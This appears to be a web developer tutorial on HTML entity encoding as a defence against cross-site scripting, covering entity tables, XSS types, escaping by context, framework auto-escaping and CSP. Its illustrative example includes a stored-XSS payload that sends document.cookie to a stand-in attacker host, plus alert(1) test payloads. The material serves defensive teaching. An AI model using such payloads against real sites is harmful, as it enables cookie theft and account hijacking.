HTML Entity Encoding: Prevent XSS and Display Special Characters

Learn how HTML entity encoding works, when to use it, and how it prevents cross-site scripting (XSS) vulnerabilities in web applications.

By Belqassim Djafer · Published · Updated

What Are HTML Entities?

HTML entities are text representations of characters that have special meaning in HTML or that cannot be typed directly. They start with & and end with ;. For example:

  • &lt; renders as <
  • &gt; renders as >
  • &amp; renders as &
  • &quot; renders as "
  • &nbsp; renders as a non-breaking space

HTML parsers interpret these sequences as the corresponding character before rendering the page.

Why Entity Encoding Matters for Security

The most critical reason to encode HTML entities is to prevent Cross-Site Scripting (XSS) — one of the most common and dangerous web vulnerabilities (ranked in the OWASP Top 10).

How XSS Works Without Encoding

Imagine a comment system that renders user input directly:

<!-- User entered: <script>document.location='https://evil.com?c='+document.cookie</script> -->
<div>Hello, <script>document.location='https://evil.com?c='+document.cookie</script>!</div>

The browser executes the script, stealing the victim's cookies. This is a Stored XSS attack.

How Encoding Prevents XSS

When user input is HTML-encoded before insertion:

<div>Hello, &lt;script&gt;...&lt;/script&gt;!</div>

The browser displays the angle brackets as text — the script never executes.

Types of XSS Attacks

Reflected XSS

The malicious script is embedded in a URL and reflected immediately in the response:

https://example.com/search?q=<script>alert(1)</script>

If the server echoes the q parameter without encoding, the script runs.

Stored XSS

The payload is saved to a database and served to every user who views the page. More dangerous and harder to detect.

DOM-Based XSS

The vulnerability is in client-side JavaScript that reads from DOM sources (location.hash, document.referrer) and writes to dangerous sinks (innerHTML, document.write).

Character Encoding Reference

Essential Characters to Always Encode

Character Entity Name Entity Number
& &amp; &#38;
< &lt; &#60;
> &gt; &#62;
" &quot; &#34;
' &apos; &#39;

Typography Characters

Character Entity
Non-breaking space &nbsp;
Em dash — &mdash;
En dash – &ndash;
Copyright © &copy;
Registered ® &reg;
Trademark ™ &trade;
Euro € &euro;

When to Encode vs. When Not To

Always encode user-controlled content before inserting into HTML

// Dangerous: raw HTML interpolation
element.innerHTML = userInput;

// Safe: text content (no encoding needed, browser handles it)
element.textContent = userInput;

// Safe: explicit encoding
element.innerHTML = escapeHtml(userInput);

Context Matters

The correct escaping function depends on where you insert data:

Context Escape Method
HTML element content HTML entity encoding
HTML attribute value HTML attribute encoding
JavaScript string JavaScript string escaping
URL parameter URL percent-encoding
CSS value CSS encoding

A common mistake is using HTML encoding in a JavaScript context:

<!-- Wrong: HTML encoding in a script block does nothing useful -->
<script>var name = "&lt;script&gt;";</script>

<!-- Right: JavaScript escaping -->
<script>var name = "\u003cscript\u003e";</script>

Framework Behaviour

Modern frontend frameworks automatically HTML-encode expressions:

// React: auto-escaped, safe
const name = "<script>alert(1)</script>";
return <div>Hello, {name}</div>; // renders as text

// React: dangerous explicit raw HTML
return <div dangerouslySetInnerHTML={{ __html: name }} />; // UNSAFE
<!-- Angular: auto-escaped -->
<p>{{ userInput }}</p>

<!-- Angular: unsafe bypass -->
<p [innerHTML]="userInput | bypassSecurityTrustHtml"></p>

Never bypass your framework's auto-escaping unless you absolutely must, and have fully sanitised the input first.

Server-Side Encoding

Node.js

// Using the 'he' library (HTML entities)
const he = require("he");
const safe = he.encode(userInput);

// Or a simple manual function for the 5 critical chars
function escapeHtml(str) {
  return str
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#39;");
}

Python (Django)

Django's template engine auto-escapes by default. To render raw HTML, you explicitly mark it safe:

from django.utils.html import escape, mark_safe

safe_output = escape(user_input)  # encode HTML
raw_html = mark_safe("<b>Bold</b>")  # explicitly trust

Content Security Policy (CSP) as a Second Layer

Even with encoding, a CSP header prevents inline scripts from executing, acting as defence in depth:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

Conclusion

HTML entity encoding is the primary defence against XSS attacks. The rule is simple: encode all user-controlled data before rendering it in HTML. Use your framework's built-in escaping, avoid raw HTML injection APIs, and supplement with a Content Security Policy. Use our HTML Entity Encoder and HTML Entity Decoder tools to inspect and test your encoding.

Related Tools